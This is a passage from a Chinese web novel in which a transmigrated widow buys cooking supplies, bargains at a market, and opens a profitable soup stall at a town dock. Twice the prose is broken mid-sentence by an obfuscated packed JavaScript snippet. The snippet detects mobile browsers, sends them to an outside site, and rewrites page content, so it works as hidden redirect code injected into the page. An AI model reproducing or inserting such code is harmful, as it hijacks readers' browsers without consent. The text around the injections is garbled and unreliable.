罗氏见她一直在油料铺打转,一会儿眉头紧拧一会儿面露迟疑,想了想道:“若是银钱不趁手,我这针头线脑也不急用。” 言下之意,卖鸡蛋的钱可以借她。 昨日李桂香过来与她说姚氏一家借住的事没有提县里给姚家补偿的事,因此罗氏并不知道此刻姚椿其实并不缺钱。 听到罗氏的话,姚椿转头凑近道:“不是钱的问题,我就是觉得这些东西太贵了。”她指了指胡椒等调料。 罗氏却不解:“自家做饭也用不上这些,贵就不买。” “不是。”姚椿解释,“我想着过两日来镇上做个吃食买卖。” 铺子里人不少,姚椿简单快速说了下县里补偿的事,最后道,“孩子们还小,我不能单靠地里那点收成,多个进项多条路。” 罗氏想了想也是,姚氏不像自己孤家寡人一个,一人吃饱全家不饿,她还有两个孩子要养呢。 “不过吃食买卖,你心里得有足够的成算。”罗氏依旧板着张脸,“不是那么好做的。” “婶子觉得昨儿那碗金汤面如何?”姚椿笑问,“适不适合在码头摆个摊子?” 罗氏回忆了一下,抬眸看她:“所以你要卖金汤面?” 姚椿摇头:“做面食成本过多,我打算卖金汤菜。” 码头扛货的活可不轻松,能来这里做活的人家,就算家里住镇上也不见得条件有多好,大多数都不会舍得中午在外面买饭,基本都是自家带的饼子,过了一早上早就变得又凉又硬。 姚椿方才观察了下,码头上摆摊卖吃食的人并不多,倒是有两家热茶摊。 入秋后天气渐凉,冰凉凉的饼子就着没啥滋味的热茶,若是有一碗比饭馆里便宜许多却依旧有滋有味的酸辣金汤菜应该会很受欢迎。 7. 煎五花 罗氏想了想还真是,若是卖汤面成本的确要大许多,不提需要耗费的柴,光是和面就得不少功夫。 而且码头这些扛包的大多不会舍得中午在外面吃一碗不便宜的热汤面,而那些有点身份的人也不会到混杂的码头解决午饭。 不然码头建成多年,大大小小的吃食摊子,罗氏就没见有撑过一年半载的。 要么嫌贵要么嫌太难吃,想做到又便宜又好吃,很难。 不过她说要卖金汤菜,罗氏想了想,成本只是一些蔬菜,哪怕第一日卖不出去也亏不了几个大子。 思及此,罗氏也不再说什么,只道:“你心里有成算就行。” 她一个外人也不好多说什么,先前询问不过是怕她一个处理不当耗光了家当再饿死在她家里。 总不能为了点租子,却让家里的房子里死了人,那可就有点得不偿失了。 金汤菜只是姚椿的第一步,尽管原料便宜,可她并没有打算卖太贵,像码头这样的地方,只适合薄利多销才能尽可能快点卖完,保证金汤菜一直温热。 待攒了点本钱顺便打出名头后再图以后吧。 确定姚椿真的要摆摊做吃食,罗氏重新思索:“碗筷就不要在铺子里买了,集市上有家摆摊卖自家烧的土陶碗,样式是差了些,但比铺子里便宜不少。” “样式无所谓,没有豁口就行。”反正姚椿是受够了自家那三个豁口碗。 罗家以前也就罗氏和她丈夫两个人,碗筷自然也就两副,姚椿仨人搬过来后用的还是从纪家带出来的那三个豁口碗。 豁口锋利,每回吃饭溜边都不能溜全。 罗氏压了压嘴角道:“自然不会。” 除了碗筷还需要一个装汤的木桶,这个罗氏建议她在村长女婿那里定。 姚椿懂,因此并未反对。 剩下的就是油盐酱醋什么的,姚椿一样买了点,共花费了两百文。 好在这些都是可以用很长一段时间,平均下来一日本钱不过几文。 做金汤菜暂时用不上那些昂贵的调料,姚椿眼下就没买。 一旦确定了所需物品,买到手就很快了。 小摊上的碗筷果然便宜,铺子里四文钱三个的土陶碗,这里能买到五个,姚椿直接买了二十三个。 几乎包圆了整个摊子的货,摊主见她如此阔绰,在她拿起配套的筷子时不动声色试探:“妹子你买了我这么多碗,这些筷子就算五文,你全部拿走吧。” 原以为会很顺利,然而……姚椿拿起那捆筷子,脸上始终带着一股亲切和蔼的笑容,最后嘴里却幽幽吐出一句“您看我都买了您这么多东西,这一捆筷子一文钱意思意思卖给我得了。” “一文钱哪成。”摊主一听直接少了四文立马急了。 “一文钱不少了,您摊子上的碗是不错,可筷子质地和做工就差了许多。”姚椿笑眯眯道,“不卖就不卖吧,这样式的回头我自己也能做,不过费些时而已。” 姚椿当即背起筐子要走。 那摊主见她真不要了,更急了:“唉唉!等等!两文钱你拿走行了吧?” 筷子是家里爱木匠活的小儿子随手划拉的,除了费点时,的确不值几个钱。 姚椿回头,依旧是那副看着和气实则半分不退的态度:“那再送我木勺呗。” “行。”摊主当即捡了两个小木勺说,“我送你俩!” “不是这个。”话罢,姚椿指了边上那个大的。 摊主顺着她的视线低头,内心不知道还说什么好,这个大木勺一文钱可买不来! 然而他并知道姚椿从始至终的目的都是他摊子上的这个大木勺。 “算了算了,卖你了。”摊主边将筷子和勺递过去一边道,“妹子你有这杀价的耐心,将来生意肯定差不了。” 目的达到,姚椿也笑得真心了:“借您吉言,您也是。” 全程看到尾的罗氏对她今后的吃食买卖莫名又多了两分信任。 一旁纪满月则是越看越佩服,嫂子也太厉害了吧! 她也要学! 一条集市才逛了一半,姚氏身后的筐便装满了。 平安只能放下来让她自己走,好在姚椿早有准备,从原先门帘下撕下了一条布,一头系在平安腰上,一头在自己腕上。 罗氏见她这个做法,眼底闪过新奇和意外:“这个法子不错。” 姚椿道:“以后有机会弄条牛筋的,不容易割破。” 东西买得差不多了,最后才去村长女婿家定木桶。 姚椿定了两个,虽说码头扛货的大多不富裕,但她是在码头附近摆摊不是去船上。 除了码头工人外,附近也有其他铺子里的伙计,考虑到二者需求上的差异。 姚椿决定做两种金汤菜,一锅纯素,一锅有肉。 大雍虽繁华,但牛肉依旧难得。 后世的金汤肥牛,姚椿决定做个小改良,用五花肉薄片代替。 赵村长的女婿姓张,张木匠家祖祖辈辈都是木匠。 得知姚椿是山前村的,当即就拿了把小木勺出来当添头。 张木匠的媳妇,也就是赵村长的小女儿赵翠翠闻声走出来,和罗氏姚椿打过招呼后,看到乖巧懵懂的平安没忍住从家里库房拿了两个巴掌大小的木马送给她玩。 而张木匠一句话也没说,就笑眯眯地看着妻子。 姚椿心下了然,赵村长夫妻人好,找的亲家也是好人。 平安长这么大从来没有过什么正经玩具,突然多了两个小木马,她渴望极了,只是还没忘看向姚椿。 在平安心里,娘没开口,就不能拿。 “拿着吧,记得谢谢你翠翠姑。”姚椿笑了笑。 “谢谢翠翠姑~”小平安握紧手里的小木马,冲赵翠翠露出几颗小米牙。 “不用谢~”赵翠翠夹着嗓子逗她,“多喊两声翠翠姑就成。” 平安不疑有他,老老实实又喊了两声,直接把在场所有人逗笑。 平安小小的脑袋大大的疑惑,大人们为什么总莫名其妙地笑。 不过疑惑归疑惑,手里的动作却没耽误,她将其中一个小木马分给纪满月:“小姑一个我一个。” “谢谢平安。”别说平安了,纪满月都七岁了,也没玩过什么玩具。 因此对小侄女递过来的小木马,她内心小小挣扎了下就顺从本心接了过来,欢喜地把玩。 张木匠夫妻大方,姚椿也跟着爽快。 订了两只木桶并未像先前在摊子上买碗一样杀价。 虽说主要是看在赵村长的面子才来张家订木桶,但不得不说张木匠的手艺的确不错。 木桶表面打磨得光滑,用料也实在。 张木匠心里清楚像姚椿这样照顾自家生意的山前村人不少,因此大部分人来他都会给些添头或主动降点价。 有来有往,生意才能长久。 从张木匠家出来,东西都置办齐全了,最后才去肉铺。 她们赶得巧,到郭屠户的铺子跟前,五花肉就剩最后一斤半。 姚椿想了想决定都买。 天凉快下来,肉放得住,一锅金汤菜放半斤就足够,留下两天的量,剩下半斤留给自家人肚子里添点油水补补身体。 时下肉价稳定,上好的猪五花不过二十文一斤,普通肥肉在十五文左右,瘦肉十文,剩下的内脏下水更是便宜。 除了一斤半猪五花,姚椿还买了两斤肥肉,打算回去熬猪油。 见她买的多,郭屠户顺口问要不要猪下水,便宜点全拿去。 姚椿没要,她不爱吃猪下水,且这玩意搓洗费劲不说,要想做的好吃得下重料,综合下来所要耗费的本钱一点也不低。 郭屠户也没坚持,一般能买得起肉的人家的确看不上这猪下水。 在集市逛了大半日,中午就在铺子边上的小摊上点了几碗羊肉汤就着早上没吃完的韭菜玉米饼。 说是羊肉汤,几乎全是汤,一碗汤里能找到一片羊肉都是好的。 好在老板也明白,所以卖得便宜,三文钱便有一大碗。 姚椿点了三碗,她和罗氏一人一碗,平安和阿月合喝一碗。 每碗羊肉汤里老板还会另外烫些青菜放进去,有肉有菜,再加上韭菜玉米饼也算是不错的一餐。 美滋滋饱餐一顿后,恢复了体力,四人片刻不再耽误回村。 赚钱的买卖只能早不能晚,姚椿决定明日就开张。 不过她今日没去铁匠铺子订铁锅,罗氏的厨房里只有一个灶眼。 她已经和罗氏商定好,在屋子盖好之前先借用一下。 为此姚椿又将那充当房租的粮食还了回去,并道:“在我们搬出去之前,婶子您每日的饭食,我都包了。” “您先别拒绝,听我说。”姚椿又道,“日后我去镇上卖金汤菜,平安年纪小总不能日日跟着去,若是留在家中少不得需要婶子您帮着看顾,只是包您每日饭食,已经算是我占便宜了。” 罗氏想了想便没跟她客气。 “对了。”姚椿想到什么继续,“我还得跟您买后院菜地的菜,哦还有您那两坛子酸豆角和酸萝卜。” 罗氏不以为然:“你摘便是,说什么买不买的。” 姚椿却摇头:“亲兄弟还明算账呢,婶子说个数吧。” 罗氏闻声, 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姚椿能感觉到自己现在的身体有多缺油水。 反正是试菜,提前吃几片肉也没关系。 新鲜的五花肉放锅里煎一煎,即使什么都不放也好吃。 姚椿终究是夹了四片煎得金灿焦黄的五花肉片放在碗中,打算一人一片尝个味。 对上罗氏递过来的眼神,姚椿煞有介事道:“做吃食买卖想要味道好,每个步骤都得仔细。” 鬼道理……罗氏心里嘀咕。 不过对姚椿夹到嘴边的肉片她也没客气。 实在香得过分嘞! 边上姑侄俩也迫不及待啃咬,奈何刚出锅的肉片太烫,味儿还没尝到嘴巴里先哇哇大喊‘好烫’、‘好烫’起来。 不过最后还是吃到了嘴里。 平安捂着小嘴,边嚼边呼:“好香好香!” 一侧脸颊一鼓一鼓。 纪满月细细品味嘴巴里的肉片,心里对嫂子明日的吃食买卖又添了一分信心。 这么好吃的东西,肯定会有很多人喜欢! 加入了五花肉打底的金汤菜,味道比昨日的要浓厚许多。 今日的南瓜泥她特意筛了几遍,留下最细腻的部分,这样煮出来的金汤也更丝滑。 金汤熬好之后,诸如酸萝卜酸豆角辣椒这些汤渣底捞出来后再放洗好的菜叶,锅里翻滚两下便能熟。 这时候提前放入的萝卜已经熟透,浸满汤汁,圆滚滚的小块,一戳一个洞。 为了庆祝明日开张,姚椿先前特意用陶罐焖了一锅干饭。 连吃了两日稀粥菜饼,她格外想念米饭。 傍晚,天逐渐凉下来。 姚椿也没把汤盛出来,就着灶底的余温,四人就挤在不大的灶房围着个小桌扒饭喝汤。 罗氏先试了块萝卜,要知道这玩意和茄子一样吸油得很,没有油根本烧不出好味道。 但她嘴里现在这块……罗氏嚼嚼嚼,就不知道该怎么形容。 煮透了的萝卜里里外外都裹满了汤汁,很大程度去了萝卜的辛辣气,更别提还有一股若有似无的肉香,一口咬开汁水横流,烫得她嘴巴子也学平安呼呼两下。 好吃!美味! 一小块萝卜味道如此丰富,罗氏觉得她这买卖妥了。 于是就问:“你这摊子准备起个什么名儿?” 姚椿略略思忖,有了:“姚记金汤如何?” 简单直白,通俗易懂。 “姚记金汤……”罗氏跟着念了一遍,“不错,好记又顺口。” 跟着又问了一句:“确定明日就去?” 姚椿点头。 “那婶子预祝你成功。”罗氏端起碗,以汤代酒,突然郑重一句。 姚椿忽地眼热。 自穿越起,她一直在考虑如何在这个朝代好好活下去,确定要做回老本行后便一直为之努力。 如今终于要开始了,没想到第一个举杯为她庆祝的人会是罗氏。 说不清是什么感受。 于是姚椿也举起了杯……额碗,和罗氏的碰了碰,同时掷地有声:“我会的!” 碗碰碗的一瞬,不知何时边上俩小家伙也凑过来,纪满月还状似鼓励地喊了一声:“干杯!” 平安抬头小脸认真纠正:“小姑,是干碗!” 姚椿不由地哈哈大笑。 不管如何,她在大雍朝的事业终于是要开始啦! 8. 开张啦 通平镇码头建成已有二十多年,左丘今年三十八,十六岁就来码头扛货赚血汗钱养家,在码头上混了二十二年,可以说码头就是他第二个家。 为了给家里人更好的生活,一有机会他就往前冲,努力多年总算能在码头说得上两句话,如今不用再扛包不说,手底下还管着十来个人。 就是这事业成功了可胃里的毛病也落下了,时不时痛两下,像谁给了一拳似的。 去看大夫说是得细养,至少一日三餐要准时用还得吃热乎的,像他年轻时经常饥一顿饱一顿绝对不行。 可码头上什么时候来船左丘哪里能做主,只要有货来他就得立即放下饭碗过去,不积极不行啊,别看他屁股底下的位置不大,可也有不少人盯着呢。 不过活虽重要,但命也得惜,左丘清楚命没了就什么都没了,因此往常一到饭点他都是让家里婆娘给自己送热汤热饭,不仅能省几文饭钱还能吃到个热乎的。 然而最近家里婆娘不小心给脚扭伤了,没法来给他送饭。 没办法,左丘只能将就吃干硬的冷饼子,结果没吃两顿,胃里又开始不舒服,可若让他去花几文钱买劳什子羊肉汤鸡汤面两顿下来他心又开始疼了。 他一个月工钱也就一两银子不到,结果一顿饭就要干掉小十文,十天半个月下来都能扯些布给家里孩子做两身新衣了。 左丘成婚晚,二十八岁才娶妻,三十岁才有第一个孩子,旁人做爷的年纪,他还在做爹。 最后看来看去还是花了一文钱买几碗热茶泡着吃,勉强凑合凑合吧。 就是这茶泡饼吃多了也挺没意思的。 嘴巴没留下啥味啊。 这日左丘照常下工,捏着手里的冷饼打算往常去的茶摊买碗热茶。 从码头往茶摊的路,左丘走了多日,早已熟记于心。 下了码头打头是一对中年夫妻卖的肉包,说是肉包,其实就是一点肉塞了大量的白菜,还舍不得放油盐,且一个包子也就女人掌心大小,就这样居然还敢卖三文钱一个。 过了包子铺是一家烧饼摊,是老婆子带家里的儿子媳妇出来卖,老婆子贴饼,儿子叫卖,儿媳妇收钱。 烧饼味道不错,料也给得足,就是卖得有些贵,纯肉的十文、三荤七素的五文,纯素五文两个,附近铺子里的掌柜伙计以及码头上有些地位的小工头们很喜欢光顾。 左丘以前偶尔会买个肉的带回去一家人打打牙祭。 离得远些的还有一家鸡汤面,打着用整鸡熬的鸡汤保证鲜,可左丘去尝过里头顶多放了两副鸡架。 虽说只五文钱一碗,可味道一般,普通小工舍不得,有点闲钱的又看不上,所以一直生意都一般,尤其是和边上的烧饼摊做对比。 左丘记得前些天两家人还吵过架,鸡汤面摊说烧饼摊烟熏火燎影响到他家面的味道,导致他们的食摊才没客人光顾。 两家人吵了一架还惊动了衙役,最后经过一番调节,以鸡汤面摊往后挪了位置结束。 如今两家摊子中间空出至少三个摊位的位置。 左丘要去的茶摊就要从这经过,然而往常一通无阻的路今儿却有了阻拦。 定睛一看,原是新来了一家吃食摊子,木质板车上驾着两个高高的大木桶很是显眼。 走近一看,没瞧见有锅开火,倒是先闻见一股霸道的香味,冲的人口水直冒。 还没等他张嘴询问,就听桶后突然站起个年轻女人,豁!差点吓他一跳! 就见那女人一手拿着大木勺,掀开桶盖,然后桶盖当锣敲似的喊:“姚记金汤!好吃的金汤菜!有汤有菜还热乎的金汤菜,一口下去酸辣开胃,一碗不够还能免费续汤!” “金汤菜好吃的金汤菜!有荤有素,荤油底三文一碗!素油底只要两文!泡饼泡面泡饭……只有你想不到没有它做不到吃法!” 年轻女人一口气喊下来,左丘脑海里只剩那句一碗不够还能免费续! 他顿时眼睛一亮,急忙上前问:“真能免费续汤?” 姚椿满脸笑意热情应道:“当然是真的。” 她舀了一勺出来给他瞧:“金灿灿的汤菜,猪油熬的汤底,闻着香极了!” 盛着汤菜的木勺在左丘眼前过了一趟,果真味足,光是闻着就让人想咽了口水。 左丘目光情不自禁跟着望过去这才发现边上还有两个一高一矮瘦弱的女娃娃正捧着一只碗嗷嗷张嘴等着。 热乎乎的汤菜倒进碗中,果真金灿灿也不知是什么做的,瞧着跟金子颜色一样。 左丘还眼尖地瞧见了其中两片五花肉片,年轻女人没说假,的确有肉片。 两个女娃娃你一口我一口,吃得你争我抢很是急切,边上还有个四十上下的中年妇人低声说话:“慢点吃慢点吃别抢。” 活像猪圈里的小猪争抢拱食。 要不是中间听其中那个小的喊年轻女人一声娘,左丘都要怀疑这一大俩小是她故意请来演给自己看的。 “给我来一碗尝尝!”犹豫片刻,左丘终是没能脚底打弯离开。 连续吃了几日的茶水泡饼,今日算是让这所谓的金汤菜给打破了。 “好嘞!您是要荤油还是素油的?”姚椿热情询问。 “素……荤的吧。”左丘摸了摸鼻头,改口。 手里饼子就是素的,花了钱还吃素总觉得有点亏。 左丘说要一碗金汤菜的时候,摊子周围又围了几个汉子。 其中有人还认识他,喊了一声“左哥。” 左丘应了一声,瞧着眼熟却不认识,看年纪,应该是码头扛货的小工。 “左哥,您的金汤菜好了!” 谁又喊他? 左丘回头就对上姚椿笑盈盈的一张脸,他顿时觉得这妮子挺有意思,瞧着年纪不大心倒活泛得很! 不过眼下他的心思全在手上这碗金汤菜上,满满一碗稍微一动碗边汤汁就流到了手指上。 就这左丘也没浪费,低头就是一个猛嗦。 淡淡的酸辣感直冲口腔,左丘眼睛一亮,然后迅速拿出怀里的素饼掰都不掰直接往汤里蘸。 充分浸了汤汁的素饼染上了金黄,香!软!还热乎! 吃了两口饼,左丘又放下素饼,拿筷子去扒菜,很快两片卷边微焦的薄五花就进了他的嘴。 酸辣的油香在嘴里爆开,他又尝了尝滚刀似的萝卜,嗯,辣辛气几乎没有,萝卜煮透,汤完全沁了进去,一口下去,萝卜里的汁水烫得左丘的嘴巴差点没兜住这美味。 一句话总结,痛并快乐! 很快一碗金汤菜就下去一半,左丘也停下了急切的吃法,打算把饼子掰成小块放到汤里泡软。 结果一抬头发现先前围着摊子的几个大汉现在都围着自己了。 左丘莫名:“都看着我作甚?” 方才那个喊他左哥的年轻汉子嘿嘿一笑道:“左哥,这啥子汤菜靠谱不?” “不错。”左丘满足地砸吧了下,“你们可以试试。” 他话音将落,就见那汉子嗖的一下就蹿回了桶旁,其速度令人连连咂舌。 左丘:“……” 合着自己还做了回免费活招牌是吧。 莫名的,左丘心底有股别扭感,总感觉自己上了摊主的当。 然而心底这股异样在他发现赠送的汤中居然还有两片肉时顿时烟消云散。 他还特意悄悄观察了下,嘿,就他一个有! 得!他舒坦了! 活招牌就活招牌吧,反正他又没作假,确实好吃啊! 其实早在左丘吃第一口的时候,年轻汉子就馋极了,可他也怕这新来的摊子瞧着正常待吃起来又要么是寡淡无味要么是盐不要钱似往里倒好掩盖菜的馊味。 吃了几回亏年轻汉子也学精了,硬是忍着等左丘吃了大半碗才出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446606|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 其他人和他想法差不多,见左丘喝汤时的表情不作一丝假也陆陆续续回到摊子边上。 你一句我一句的,和左丘一样,都在问姚椿方才话里说的可以免费续汤是不是真的。 果然不管到了哪个地方,‘免费鸡蛋’都最吸引人,姚椿没有丝毫不耐,挨个回答,一个也没落下。 可以免费续汤是姚椿昨日最后定下的想法,码头上吃食摊子虽不多,但能经营下来的几家总有他们的过人之处,她初来乍到想要快点打开知名度,总要有点不同。 可免费续一碗汤费不了多少成本,却能让这些人觉得自己占了大便宜,白得的不要多亏啊! 在左丘之后又有三个年轻汉子要了荤油底金汤菜,另两个年纪瞧着和左丘差不多大的,俩人合买了一碗素油底的。 反正摊主说可以再免费续一碗汤,那不就是两碗,够他俩吃了。 对此姚椿没说什么,还贴心地直接给了两碗,其中一碗满满当当,另一碗基本都是汤,汤面飘着零星两片菜叶子和两块萝卜,就是所谓的免费续的汤。 那俩汉子见两文钱便有这么多,当即笑得牙不见眼,要知道后头那家茶摊还要一文钱一碗呢,虽说可以无限续,可喝多了老板脸色也跟着黑起来,喝着一点也不顺心。 不像这家,他们俩人才买了一碗,摊主脸上的笑一点都不带变的,依旧热情利落地给他们盛汤。 冲这态度,哪怕不好吃,他们心里也舒坦多了。 更别提这汤菜的味道还的确很不错。 要是冷天扛完打包能有这一碗金汤菜泡饼吃,那得多舒坦。 于是有人问:“冬天还来不?” 通平镇地处偏南,冬天虽冷但不至于河面结冰的地步,所以哪怕到了深冬,码头上的生意依旧不会停。 “来的。”姚椿笑着应声,“就是汤里的配菜可能会有些变化。” 冬天蔬菜少,一共就那么几样,哪怕她厨艺再高也搞不出花来。 “啥变化?”问话的汉子脸色微变,“是不给肉了还是不免费续汤了?” 难不成这新来的也和之前那些吃食摊子一样,头几日给的多又好吃,等大家都熟了习惯了再偷工减料? “这两样一直都会有,我的意思是汤里的素菜会有变化。”姚椿解释。 汉子闻言暂时放下心来,素菜换无所谓,整天吃一样的他们也会烦,多换换挺好。 码头上来了个新吃食摊,很快就吸引了不少人的注意力。 有是被头一波吃完的人告知,还有的是路过被这股霸道的酸辣香气给勾的。 不过更多的还是被姚椿那一声又一声可免费续汤的话吸引过来。 总之姚椿的两桶金汤菜不到半个时辰就卖完了。 姚椿和罗氏都没来得及留一碗自己吃。 荤的三文一碗,素的两文一碗,两种她各准备了二十五份。 平安和阿月合吃了一碗,姚椿数了数,一共一百二十二文,一分不差。 罗氏瞧着也惊讶:“说是五十份就是五十份啊。” 那当然,姚椿心道,这些都是她上辈子跟着姥姥练出来的,她的眼睛就是称,说多少就是多少。 昨儿油盐酱醋花了两百文,订的两只木桶花费一百八十文,蔬菜十文,留着做金汤菜的一斤猪五二十文,两斤肥肉三十文再加上两坛子酸豆角酸萝卜。 不过油盐调料这些按照她现在这个用法至少还能用个二十天,平均到每一日也就两文钱的样子,木桶只要不破就能一直用,平均到年几乎可以不计,就算一日一文的损耗吧。 总得来看,今日大头耗费就是汤里那半斤多的猪五花了。即便如此,也就十五文上下的耗费。 再加上其他七七八八的,今日这两桶金汤菜的成本顶多三十文! 净赚了差不多快九十文钱! 且这才第一日呢! 9. 开门红 得知第一日摆摊就赚了近九十文,纪满月摸着沉甸甸的钱袋,简直不敢相信,要不是还在外面,她一定会拉着姚椿反复询问是不是真的。 此刻她眼神亮晶晶地望着姚椿,满是崇拜。 罗氏也是吃惊,没想到她以为小打小闹的摊子才第一日就赚这么多,若是之后都能如此,一个月下来少不得有二三两的赚头。 思及此,她又瞥了一眼昨儿夜里临时拼凑出来的小吃摊,怎么瞧都觉得不可思议。 姚椿捏着钱袋道:“回去怕也来不及做午饭了,就在镇上买点回去边走边吃吧。” 没等罗氏说什么,她又开口:“就当刺探敌情啦!尝尝人家的味道,取长补短,回头才能做出更好吃的菜色不是?” 罗氏轻笑:“我是没意见,只要你舍得。” 当初说好的包一日三餐,她是按照村里普通人家饭食给的粮,并未多给。 “那就没问题了。” 罗氏的别扭脾性姚椿早就看透了,面上一副‘不许占我便宜,我们只是房主与租客’的关系,可在昨晚她反应过来光靠两只手没法背或抱着俩大木桶的金汤菜到镇上时,她转眼就从杂物间里推出一辆许久未用过的旧版车,解了她的燃眉之急。 今日一早又默不作声跟着一起,明显一副打算帮她带孩子的意思。 姚椿低头又问两个小的:“你们俩想吃啥?” 纪满月却摇头懂事道:“我们才吃完呢,还不饿。”好吃的东西哪能天天吃!嫂子赚钱已经很不容易了! “嫂子你和罗婶还没吃午饭,才应该买点。”话罢,目光却下意识往其他摊子瞟了一瞬。 姚椿瞥见会心一笑,到底还是个孩子,想了想于是又道:“阿月刚刚带着平安演得很棒,让那些客人一下就喜欢上了咱家的金汤菜,所以嫂子必须得奖励你一回。” 陡然被夸,纪满月小小别扭了下,小手勾着衣角,脸上满是害羞道:“是嫂子做的又香又好吃。”她可没演呢! 平安也跟着点脑袋,乖巧地抱着姚椿的腿,猛吸一口后才昂头:“好多香香!”她拍拍并不大的小肚子,“饱!” 姚椿被她憨里憨气的动作逗笑,小屁孩个儿丁点,还挺机灵。 “平安是想和娘说你闻闻香就闻饱啦?”她不由自主夹起了嗓子。 不知道是不是一连两日都吃得饱饱的,便宜闺女瞧着没有初见时那么像猴,脸似乎圆润了些,嗯,终于有那么一点可爱了。 她弯下腰,摸了摸小孩的后脑,低声道:“娘今日赚了钱,得庆祝,所以想吃什么就和娘说。” 姚椿上辈子虽然谈过两回恋爱,但娘却是头一回当。 眼前的小孩虽然整日里喊她娘,可姚椿清楚孩儿她娘已经不在了,自己只能算占了对方娘身体的异世孤魂? 为此姚椿愿意替原主担这份‘娘’的责任,只是责任归责任,可要说母爱嘛,姚椿也很难违背自己的良心说有很多。 没忍住捏了捏便宜闺女的脸蛋,先当小猫崽养着吧。 回想起初见时身上杂色补丁,嗯,还是只灰扑扑的小三花呢。 纪满月全程疑惑,嫂子怎么了,开始嗓子突然说话麻麻的,然后又突然捏平安的脸,结果平安还主动把脸凑过去给嫂子摸。 不知道为什么,看到这一幕她总觉得哪里怪怪的,可又说不上来。 姚椿可不知纪满月心里的小九九,见问了半天也没人给个建议,她便做主就吃隔壁摊子卖的烧饼。 方才卖金汤菜的时候,她一直有关注边上几家吃食摊子,卖鸡汤面的夫妻俩没客人的时候双双拉着个脸,并且对这时候其他有客人的摊子摊主时不时白一个眼。 姚椿今儿第一回摆摊,因着是新吃食新鲜的缘故,所以卖得很快,因此得了鸡汤面夫妻俩好几个白眼。 而另外一边的烧饼摊,热闹程度虽不及这边,但姚椿有可以观察过,去烧饼摊的客人大多穿着要得体许多。 姚椿便明白这家的烧饼味道一定不赖。 大手一挥直接做主买了四个三荤七素的大烧饼。 摊烧饼的婶子实在,烧饼摊得又宽又大,平安两只手都抓不全,望着隐隐比自己脸还大烧饼,平安张着嘴都不知道从哪里开始下口。 最后咬了好几口,小肚子都鼓起来了,眼前的烧饼才受了点轻伤。 她顿时小脸一苦,完啦!肚子要破啦! 纪满月长这么大第一次吃烧饼,格外珍惜,咬一口看一眼烧饼,因此完全没有注意到小侄女投过来的求助眼神。 至于罗氏,忙了一上午早就饿得前胸贴后背,此刻正大快朵颐也没顾到小的。 而姚椿连咬了三大口烧饼后,进食速度逐渐慢下来开始细细品尝,味道的确不错,对方舍得给油水,肉馅三分肥七分瘦,混在肉沫里的菜叶碎隐隐还透着鲜亮,一瞧就是用最新鲜的蔬菜制作。 肉菜比例说是三比七,但姚椿有仔细观察张婆子每回都会当着客人多塞一撮两撮肉馅,简直是和她的‘免费续汤’有异曲同工之妙啊。 买烧饼的时候姚椿也借机和对方聊了两句,张婆子一家三口住在通平镇西边的的大河村,和山前村是两个相反的方向,在码头摆摊卖烧饼已经快三年了。 卖了三年,用料还能如此实在,姚椿内心对这一家人初步有了底。 至于另外那家鸡汤面摊子,姚椿压根没想去尝,看那对夫妻脸色就知道面有多一般。 直接推着板车,目不斜视地从他们摊子路过,成功气得鸡汤面夫妻嘴歪眼斜。 就连专注吃烧饼的罗氏后知后觉,待走远了些张嘴就道:“那俩脑子有病?” 姚椿深以为然点头:“谁说不是呢。” 回村的路上,因有今日赚的那一袋子钱和美味的大肉烧饼做支撑,大家并没有预想中的疲惫。 尤其是纪满月亢奋着呢,不久前她还陷在哥嫂先后离世的痛苦中,结果才短短两日,生活就重新拥有了希望。 罗氏心底也有一股说不清道不明的感受,自从家里公婆和男人相继去世后,她一个人得过且过了十几年,越过越没意思。 如今姚氏一家三口住进来,家里突然多了许多声音,大人的孩子的,还有晨早朦胧间厨房里碗碟碰撞的声响。 杂乱却热闹。 然而罗氏心里清楚仨人住不了多久,迟早有一天要搬出去。 忽然间,罗氏觉得最后这口烧饼都变得没滋没味起来。 平安手里的大烧饼到最后也就吃了个三分之一,她肚子小,以前又时常受饿,就算先前那碗金汤菜她一口没吃,这么大一个带馅的烧饼她一人也吃不完。 幸好罗氏发现,否则这孩子还真打算一口一口撑下去。 姚椿也有些懊恼,只顾着让便宜闺女吃好,忘了她芝麻大点的胃根本装不了这么多。 “以后吃不完一定要和娘说别硬撑,会肚子痛的。”姚椿温声嘱咐道。 平安听后,一手捂着小肚,另一只煞有介事点它:“不许痛哦!” 原本罗氏心中还有些难以言说的郁气,此刻瞧见她纯真稚嫩的模样,心中不免一畅。 罢了,以后的事以后烦去,先过好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446607|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前再说。 “对了。”她扭头看向姚椿,“我那两坛子酸豆角酸萝卜可不多了,不提前准备起来,之后可能会接不上茬。” “我也是想和婶子说这件事呢。”姚椿有看过,罗氏后的豆角自家吃够了,可若是腌起来做酸豆角供她的吃食摊却是远远不够的。 她虽然不打算一直只做金汤菜卖,但酸豆角却是个百搭的好东西,能做出好多道下饭菜。 不过她才开张一日,若无必要,不想弄出太大的动静,倒是可以把罗氏后院的摘了先腌两坛子撑一段时间,等她的生意稳当两日后,再去找桂香婶子。 村子里家家户户都种得有豆角,年年都吃不完最后都会晒成干豆角到冬天当个蔬菜吃,而像罗氏这样舍得用盐腌的极少。 她已经决定到时候让桂香婶子在中间帮忙牵线,和村里人买。 